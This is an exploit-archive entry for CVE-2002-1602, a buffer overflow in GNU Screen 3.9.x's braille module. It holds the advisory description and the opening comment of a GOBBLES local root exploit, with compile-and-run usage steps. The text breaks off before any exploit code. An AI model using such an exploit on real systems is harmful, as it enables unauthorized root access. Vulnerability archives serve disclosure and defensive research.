Description

GNU Screen 3.9.x Braille Module Buffer Overflow Vulnerability. CVE-2002-1602. Local exploit for unix platform

                                        
                                            source: http://www.securityfocus.com/bid/4578/info

Screen is a freely available, open source terminal management software package. It is distributed and maintained by the Free Software Foundation. It is available for the Unix and Linux platforms.

Under some circumstances, it may be possible for a local user to take advantage of a buffer overflow in screen. Due to insufficient bounds checking performed by the braille module of screen, it is possible for a local user to pass long strings of data to the screen program, which could result in an overflow, and the overwriting of process memory. This could result in the execution of arbitrary code.

/*
  screen 3.9.11 local root exploit for braille module 
  dedicated to the $ecurity Community, where blind leading blind.
  code for: linux/x86

  to use:
  1) edit paths in #defines
  2) gcc -o GOBBLES-own-screen GOBBLES-own-screen.c
  3) ./GOBBLES-own-screen -p
  4) ./GOBBLES-own-screen -f
  5) ./GOBBLES-own-screen -a 0xGOBBLES

  if you want rootshell, that up to you to modify exploit.

  beware vicious remote root exploit coming from GOBBLES for Sun Solaris
  version 6-8, hurry up Sun to make patch. . .
